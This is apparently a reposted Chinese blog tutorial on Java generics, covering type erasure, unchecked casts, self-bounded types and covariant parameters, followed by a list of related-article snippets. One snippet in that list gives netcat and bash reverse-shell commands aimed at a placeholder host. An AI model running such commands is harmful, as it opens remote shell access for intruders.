初识Java 18-4 泛型

news2024/12/26 22:11:58

目录

泛型存在的问题

在泛型中使用基本类型

实现参数化接口

类型转换和警告

无法实现的重载

基类会劫持接口

自限定类型

奇异递归类型

自限定

自限定提供的参数协变性


本笔记参考自: 《On Java 中文版》


泛型存在的问题

        接下来讨论的,是在泛型中经常可能遇到的一些问题。

在泛型中使用基本类型

        Java的泛型并不支持基本类型,因此我们无法将其用作泛型的类型参数。一个替代的方法是使用基本类型的包装类:

【例子:通过包装类使用泛型】

import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.IntStream;

public class ListOfInt {
    public static void main(String[] args) {
        List<Integer> li = IntStream.range(38, 48)
                .boxed() // 将基本类型转换成其对应的包装类
                .collect(Collectors.toList());
        System.out.println(li);
    }
}

        程序执行的结果是:

        这足以应付大部分的情况。但如果真的需要追求性能,可以使用专门适配基本类型的集合,例如org.apache.commons.collections.primitives

        或者,可以使用泛型集合来装载基本类型:

import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;

public class ByteSet {
    Byte[] possibles = {1, 2, 3, 4, 5, 6, 7, 8, 9};
    Set<Byte> mySet1 =
            new HashSet<>(Arrays.asList(possibles));

    // 不可行的方式:
    /* Set<Byte> mySet2 =
            new HashSet<>(Arrays.<Byte>asList(
                    1, 2, 3, 4, 5, 6, 7, 8, 9)); */
}

        在这里,自动装箱机制为我们解决了转换问题。但它不会总是有效,例如:

【例子:向数组中填充对象】

import java.util.*;
import java.util.function.*;

interface FillArray {
    static <T> T[] fill(T[] a, Supplier<T> gen) {
        // 使用get()填充数组a
        Arrays.setAll(a, n -> gen.get());
        return a;
    }

    static int[] fill(int[] a, IntSupplier gen) {
        Arrays.setAll(a, n -> gen.getAsInt());
        return a;
    }

    static long[] fill(long[] a, LongSupplier gen) {
        Arrays.setAll(a, n -> gen.getAsLong());
        return a;
    }

    static double[] fill(double[] a, DoubleSupplier gen) {
        Arrays.setAll(a, n -> gen.getAsDouble());
        return a;
    }
}

interface Rand {
    // SplittableRandom也是用于生成随机数的类
    SplittableRandom r = new SplittableRandom(47);


    class StringGenerator implements Supplier<String> {
        int strlen;

        StringGenerator(int strlen) {
            this.strlen = strlen;
        }

        @Override
        public String get() {
            return r.ints(strlen, 'a', 'z' + 1)
                    .collect(StringBuilder::new,
                            StringBuilder::appendCodePoint,
                            StringBuilder::append).toString();
        }
    }

    class IntegerGenerator implements IntSupplier {
        @Override
        public int getAsInt() {
            return r.nextInt(10_000);
        }
    }
}

public class PrimitiveGenericTest {
    public static void main(String[] args) {
        String[] strings = FillArray.fill(
                new String[5], new Rand.StringGenerator(7));
        System.out.println(Arrays.toString(strings));

        int[] integers = FillArray.fill(
                new int[9], new Rand.IntegerGenerator());
        System.out.println(Arrays.toString(integers));
    }
}

        程序执行的结果是:

        由于自动装箱对数组无效,因此需要我们手动重载FillArray.fill()方法,或者通过一个生成器来包装输出结果。


实现参数化接口

        一个类无法实现同一个泛型接口的两种变体:

因为类型擦除,这两个变体实际上都表示着原生的Payable。换言之,上述代码中Hourly将同一个接口实现了两次。


类型转换和警告

        因为类型擦除,我们无法对类型参数使用类型转换或instanceof。因此,有时会需要在边界处进行类型转换:

【例子:在泛型边界处进行类型转换】

import java.util.Arrays;
import java.util.stream.Stream;

class FixedSizeStack<T> {
    private final int size;
    private Object[] storage;
    private int index = 0;

    FixedSizeStack(int size) {
        this.size = size;
        storage = new Object[size];
    }

    public void push(T item) {
        if (index < size)
            storage[index++] = item;
    }

    @SuppressWarnings("unchecked")
    public T pop() {
        return index == 0 ?
                null : (T) storage[--index];
    }

    @SuppressWarnings("unchecked")
    Stream<T> stream() {
        return (Stream<T>) Arrays.stream(storage);
    }
}

public class GenericCast {
    static String[] letters =
            "ABCDEFGHIJKLMNOPQRST".split("");

    public static void main(String[] args) {
        FixedSizeStack<String> strings =
                new FixedSizeStack<>(letters.length);
        Arrays.stream(letters)
                .forEach(strings::push);
        System.out.println(strings.pop());
        strings.stream()
                .map(s -> s + " ")
                .forEach(System.out::print);
    }
}

        程序执行的结果是:

        pop()stram()会产生警告,因为编译器无法知道这种类型转换是否安全。在本例中,类型参数T会被擦除成Object

        虽然在泛型的边界处,类型转换会自动发生。但有时我们仍然需要手动进行类型转换,此时编译器会发出警告:

【例子:对泛型进行转型】

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.List;

public class NeedCasting {
    @SuppressWarnings("unchecked")
    public void f(String[] args) throws Exception {
        ObjectInputStream in = new ObjectInputStream(
                new FileInputStream(args[0]));
        List<Integer> shapes = (List<Integer>) in.readObject();
    }
}

    实际上,readObject()不会知道它正在读取什么,因此它会返回Object

        现在注释掉@SuppressWarnings("unchecked"),并且使用参数-Xlint:unchecked进行编译:

警告清楚地告诉了我们,readObject()会返回一个未经检查的Object

        Java 5还引入了一个转型方法,通过Class.cast(),可以将对象强制转换成目标类型。这个方法也适用于泛型:

【例子:尝试强制转换泛型】

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.List;

public class ClassCasting {
    @SuppressWarnings("unchecked")
    public void f(String[] args) throws Exception {
        ObjectInputStream in = new ObjectInputStream(
                new FileInputStream(args[0]));

        // 无法编译的代码:
        // List<Integer> lw1 =
        //         List<>.class.cast(in.readObject()); // 使用cast()进行强制类型转换

        // 会引发警告:
        List<Integer> lw2 = List.class.cast(in.readObject());
        
        // 无法编译:
        // List<Integer> lw3 = List<Integer>.class.cast(in.readObject());

        // 会引发警告
        List<Integer> lw4 = (List<Integer>) List.class.cast(in.readObject());
    }
}

        然而,如代码所示。这些做法都会存在着这样那样的限制。


无法实现的重载

        由于类型擦除,下面的这种写法是不被允许的:

【例子:无法实现的重载】

import java.util.List;

public class UseList<W, T> {
    void f(List<T> v) {
    }

    void f(List<W> v) {
    }
}

        因为被擦除的参数无法作为单独的参数列表,所以我们还需要为每一个相似的方法提高不同的方法名。


基类会劫持接口

        假设我们想要创建一个类,这个类实现了Comparable接口,这样这个类的不同对象就能进行互相的比较:

【例子:实现了Comparable的父类】

public class ComparablePet
        implements Comparable<ComparablePet> {
    @Override
    public int compareTo(ComparablePet arg) {
        return 0;
    }
}

        一个好的想法是,任何继承了这个类的子类,其对象之间应该也能进行比较(在这个例子中,父类是Pet,子类就是Cat。然而事实并不会如我们所愿:

        遗憾的是,若继承了父类的泛型接口,编译器不会再允许我们添加另一个Comparable接口。在这里,我们只能遵循父类的比较方式。

    我们还可以在子类中重写compareTo()的行为,但这种行为是面向ComparablePet的(而不是限定在这个子类中)。

自限定类型

        自限定类型来自于Java早期的泛型使用习惯:

class SelfBounded<T extends SelfBounded<T>> { // ...

在这里,类型参数的边界就是类本身:SelfBounded有一个类型参数T,而参数T的边界却又是SelfBounded

    这种写法更加强调extends在泛型参数中使用时的含义。

奇异递归类型

        先看一个自限定类型的简化版本。尽管无法直接继承泛型参数,但我们可以继承一个使用了泛型参数的类。

【例子:继承泛型类】

class GenericType<T> {
}

public class CuriouslyRecurringGeneric
        extends GenericType<CuriouslyRecurringGeneric> {
}

        这种方式被称为奇异递归泛型。其中,“奇异递归”是指子类奇怪地出现在了其基类中的现象、

        要理解这一点,首先需要明确:Java泛型的重点在于参数和返回类型,因此可以生成将派生类型作为参数和返回值的基类。派生类型也可作为字段,不过此时它们会被擦除为Object

【例子:用子类替换基类的参数】

        首先定义一个简单的泛型:

public class BasicHolder<T> {
    T element;

    void set(T arg) {
        element = arg;
    }

    T get() {
        return element;
    }

    void f() {
        System.out.println(
                element.getClass().getSimpleName());
    }
}

        在这个基类中,所有方法的接收或返回值(若有)都是T。接下来尝试使用这个类:

class Subtype extends BasicHolder<Subtype> {
}

public class CRGWithBasicHolder {
    public static void main(String[] args) {
        // Subtype中的所有方法,其接收和返回的都是Subtype:
        Subtype st1 = new Subtype(),
                st2 = new Subtype();
        st1.set(st2);
        Subtype st3 = st1.get();
        st1.f();
    }
}

        程序执行的结果是:

        需要注意的是,Subtype类中,所有方法的接收和返回值都已经变成了Subtype。这就是一个奇异递归泛型:基类用子类替换了其参数。在这里,基类用于提供通用的方法模板,而子类使用的方法都会具有一个具体的类型,即子类自身。


自限定

        上述的BasicHolder可以将任何类型作为其泛型参数:

【例子:BasicHolder的广泛应用】

class Other {
}

// 将不相关的Other作为参数
class BasicOther extends BasicHolder<Other> {
}

       自限定在这种操作的基础上更进一步,它强制地把泛型作为自身的边界参数进行使用:

// 自限定类型:
class SelfBounded<T extends SelfBounded<T>> {
    T element;

    SelfBounded<T> set(T arg) {
        element = arg;
        return this;
    }

    T get() {
        return element;
    }
}

class A extends SelfBounded<A> {
}

// 属于SelfBounding<>的类型也可以这样使用:
class B extends SelfBounded<A> {
}

class C extends SelfBounded<C> {
    C setAndGet(C arg) {
        set(arg);
        return get();
    }
}

class D {
}
// 但这种做法是不被允许的:
// class E extends SelfBounding<D> {
// }

// 这样的可以(自限定的语法并非强制性的):
class F extends SelfBounded {
}

public class SelfBounding {
    public static void main(String[] args) {
        A a = new A();
        a.set(new A());
        a = a.set(new A()).get();
        a = a.get();

        C c = new C();
        c = c.setAndGet(new C());
    }
}

        需要注意的是,自限定类型会要求类处于继承关系中。因此像E这种并不处于继承关系中的类无法使用自限定。

        除此之外,可以看到编译器并没有对F这种写法发出警告:

class F extends SelfBounded {}

由此可知,编译器对自限定的语法并不做强制要求,这需要程序员自己注意(或使用工具保证不会使用原生类型)。

        注意:自限定类型只服务于强制继承关系。若使用自限定,这意味着该类使用的类型参数和使用该参数的类属于同一个基类。

    对于普通的泛型类而言,像上例中的E这样的类型是可以作为泛型参数的。这种泛型类就没有对继承关系的强制性要求。

        除此之外,自限定还可用于泛型方法:

【例子:使用了自限定的泛型方法】

public class SelfBoundingMethods {
    static <T extends SelfBounded<T>> T f(T arg) {
        return arg.set(arg).get();
    }

    public static void main(String[] args) {
        A a = f(new A());
    }
}

这种做法的特点是,方法f()无法应用于自限定参数规定范围之外的对象。


自限定提供的参数协变性

        自限定类型的价值在于它可以生成协变参数类型,即方法参数的类型会随着子类而变化。现在先来看一个协变参数类型的例子,这种写法是Java 5引入的:

【例子:Java中的协变参数类型】

class Base {
}

class Derived extends Base {
}

interface OrdinaryGetter {
    Base get();
}

interface DerivedGetter extends OrdinaryGetter {
    @Override
    Derived get();
}

public class CovariantReturnTypes {
    void test(DerivedGetter d) {
        Derived d2 = d.get();
    }
}

        这种做法有着自洽的逻辑:子类方法可以返回比其基类方法更加具体的类型(但这种写法在Java 5之前是行不通的)

        而自限定方法则可以直接返回精确的派生类型:

【例子:自限定的返回值】

interface GenericGetter<T extends GenericGetter<T>> {
    T get();
}

interface Getter extends GenericGetter<Getter> {
}

public class GenericsAndReturnTypes {
    void test(Getter g) {
        Getter result = g.get();
        // 因为返回的类型是子类,因此可以用基类来承接:
        GenericGetter gg = g.get();
    }
}

    不过,这种做法只在引入了协变类型的Java 5之后有效。

        与上述这两种形式不同,在普通的类中,参数的类型无法随子类型而变化。

【例子:普通类的返回值】

class OrdinarySetter {
    void set(Base base) {
        System.out.println("OrdinarySetter.set(Base)");
    }
}

class DerivedSetter extends OrdinarySetter {
    void set(Derived derived) {
        System.out.println("DerivedSetter.set(Derived)");
    }
}

public class OrdinaryArguments {
    public static void main(String[] args) {
        Base base = new Base();
        Derived derived = new Derived();

        DerivedSetter ds = new DerivedSetter();
        ds.set(derived);
        // 编译通过,但这里发生的不是重写,是重载:
        ds.set(base);
    }
}

        程序执行的结果是:

        尽管在main()中,ds.set(derived)ds.set(base)都是合法的,但发生的并不是重写,而是重载。从输出可以看出,在子类DerivedSetter中存在着两个set()方法,一个参数是Base,另一个的是Derived

    若对DerivedSetterset()方法使用@Override注释,就可以看出问题。

        当使用自限定类型时,子类中来自基类的方法的参数会发生改变,因此会出现下面这种情况:

【例子:子类方法的参数会被重写】

interface SelfBoundSetter<T extends SelfBoundSetter<T>> {
    void set(T arg);
}

interface Setter extends SelfBoundSetter<Setter> {
    // 未进行任何改动,但实际上set()已经被重写
}

public class SelfBoundingAndCovariantArguments {
    void testA(Setter s1, Setter s2, SelfBoundSetter sbs) {
        s1.set(s2);
        // 不允许这么做:
        // s1.set(sbs);
    }
}

        s1.set(sbs)存在问题:

编译器认为基类无法匹配当前set()的类型,尽管上述代码中并没有在Setter中显式地重写set()方法,但set()的参数确实已经被重写了。

        若不使用自限定,那么普通的继承机制就会启动:

【例子:普通的继承机制】

// 非自限定的类型:
class OtherGenericSetter<T> {
    void set(T arg) {
        System.out.println("GenericSetter.set(Base)");
    }
}

class DerivedGS extends OtherGenericSetter<Base> {
    void set(Derived derived) {
        System.out.println("DerivedGS.set(Derived)");
    }
}

public class PlainGenericInheritance {
    public static void main(String[] args) {
        Base base = new Base();
        Derived derived = new Derived();
        DerivedGS dgs = new DerivedGS();
        dgs.set(derived);
        // 发生了重载:
        dgs.set(base);
    }
}

        程序执行的结果是:

        显然,这里发生的还是重载。若使用的是自限定,最后只会有一个接收确切类型参数的方法版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1263212.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

函数式编程:简洁与效率的完美结合

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

【工具】Zotero|使用Zotero向Word中插入引用文献(2023年)

版本&#xff1a;Word 2021&#xff0c;Zotero 6.0.30 前言&#xff1a;两年前我找网上插入文献的方式&#xff0c;网上的博客提示让我去官网下个插件然后才能装&#xff0c;非常麻烦&#xff0c;导致我对Zotero都产生了阴影。最近误打误撞发现Zotero自带了Word插件&#xff0c…

ffmpeg之QT开发环境搭建

文章目录 前言ffmpegQT开发环境搭建1、新建 QT 工程2、拷贝所需的 lib 文件和头文件2、拷贝所需的 dll 动态库文件3、修改 QT 项目的主配置文件 &#xff08;.pro 文件&#xff09;4、验证测试5、解决运行时的报错 前言 之前我们进行了 FFmepg 的编译以及在 Visual Studio 中引…

基于51单片机冰箱温度控制器设计

**单片机设计介绍&#xff0c; 基于51单片机冰箱温度控制器设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于51单片机冰箱温度控制器设计是一个非常实用的项目。以下是一个基本的介绍&#xff1a; 系统概述&#xff1a; …

MySQL基础进阶篇

进阶篇 存储引擎 MySQL体系结构&#xff1a; 存储引擎就是存储数据、建立索引、更新/查询数据等技术的实现方式。存储引擎是基于表而不是基于库的&#xff0c;所以存储引擎也可以被称为表引擎。 默认存储引擎是InnoDB。 相关操作&#xff1a; -- 查询建表语句 show create …

Spring代理方式之静态、动态代理(JDK和CGlib动态代理)

目录 1、代理设计模式的概念 2、静态代理 3、动态代理&#xff08;JDK和CGlib动态代理&#xff09; 1. JDK动态代理是基于接口的代理&#xff08;Interface-based proxy&#xff09; 2. CGLIB代理是基于类的代理&#xff08;Class-based proxy&#xff09; ⭐比较&#x…

阿里达摩院裁撤量子实验室

我是卢松松&#xff0c;点点上面的头像&#xff0c;欢迎关注我哦&#xff01; 马云的达摩院也不搞量子计算了&#xff0c;因为缺钱&#xff0c;整体裁掉了达摩院量子实验室&#xff0c;把所有的设备都赠送给了浙江大学。 达摩院量子实验室&#xff1a;总共30个研究员&#xf…

【单调栈】最大二叉树

题目&#xff1a; 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最大值。递归地在最大值 左边 的 子数组前缀上 构建左子树。递归地在最大值 右边 的 子数组后缀上 构建右子树。 返回 nums…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

Salesforce原生ERP产品 vs. 集成:如何选择?

Salesforce允许企业管理所有的客户交互。随着Salesforce平台的日渐成熟&#xff0c;企业已经能够获取成倍的收益。会计解决方案和其他ERP工具尤其契合&#xff0c;客户数据不会碰壁&#xff0c;可以在服务交付和客户成功、发票和账单、收入确认和续订的过程中继续前进。 一些…

业务流程图用什么软件绘制?

在企业的日常工作中&#xff0c;对于业务流程的把控和优化显得非常重要。为了更好地理解和管理业务流程&#xff0c;业务流程图便应运而生。 业务流程图是企业管理的图形化工具&#xff0c;它描述了企业在生产和服务提供过程中&#xff0c;在各个环节中所涉及的各种操作、任务…

ESP Multi-Room Music 方案:支持音频实时同步播放 实现音乐互联共享

项目背景 随着无线通信技术的发展&#xff0c;针对不同音频应用领域的无线音频产品正不断涌现。近日&#xff0c;乐鑫科技推出了基于 Wi-Fi 的多扬声器互联共享音乐通信协议——ESP Multi-Room Music 方案。该方案使用乐鑫自研的基于 Wi-Fi 局域网的音频同步播放技术&#xff…

从Android面试题目溯源-1、创建线程有那几种方式

概念 程序执行流的最小单位&#xff0c;处理器调度调度和分派的基本单位。 如何理解这个概念 如下图&#xff0c;可以简单类比吉他&#xff0c;六根弦代表六个线程&#xff0c;每个线程独立且单独运行&#xff0c;且持有上一个音的状态&#xff0c;每根手指可类比为一个CPU的…

E云管家开发个人微信号批量修改好友备注

简要描述&#xff1a; 修改好友备注 请求URL&#xff1a; http://域名地址/modifyRemark 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必选类型说…

Linux常见指令基础知识

目录 初始Linux操作系统 Linux背景&#xff1a; 开源 &#xff1a; 发行版本&#xff1a; ​编辑 OS概念&#xff0c;定位&#xff1a; 使用 XShell 远程登录 Linux Linux相关知识 文件是什么&#xff1f; 路径分隔符 &#xff08;.&#xff09; 和 &#xff08;. .&…

玻色量子研发进展

2023年 2023.8 量子计算突破云渲染资源调度&#xff01;真机测试完整报告公开&#xff01; 2023.8 量子计算突破金融信用评分&#xff01;真机测试完整报告公开&#xff01; 2023.7 玻色量子“揭秘”之旅行商问题与Ising建模 2023.7 玻色量子“揭秘”之背包问题与Ising建…

计算机服务器中了faust勒索病毒怎么办,faust勒索病毒解密文件恢复

计算机技术的不断发展&#xff0c;为企业的生产生活运营提供了坚实基础&#xff0c;但网络是一把双刃剑&#xff0c;网络安全威胁也在不断增加&#xff0c;近期&#xff0c;云天数据恢复中心陆续接到很多企业的求助&#xff0c;企业的计算机服务器遭到了faust勒索病毒攻击&…

HelpLook可以作为wordpress的替代品,帮助企业快速搭建博客

博客作为一个非常有价值的平台&#xff0c;在当今的数字时代具有重要的意义。对于个人和企业来说&#xff0c;选择一款适合自己需求的专业博客搭建软件至关重要。本篇文章将会通过对比两个专业的博客搭建软件——HelpLook和WordPress&#xff0c;看看为什么我说HelpLook可以作为…

js相同字符串截取拼接

原数据 const list [999-1234567801,999-1234567802,999-1234567803, ]; const list1 [999-1234567899,999-1234567900,999-1234567901, ];期望数据 999-1234567801/2/3 //list 999-1234567899/900/901 //list1处理代码 // 连续号码处理 export const formatNumber (tick…

具身智能17篇创新性论文及代码合集,2023最新

今天来聊聊人工智能领域近期的一个热门研究方向——具身智能。 具身智能&#xff08;Embodied Intelligence&#xff09;指的是机器人或智能体通过感知、理解和交互来适应环境&#xff0c;并执行任务的能力。与传统的基于规则或符号的人工智能不同&#xff0c;具身智能强调将感…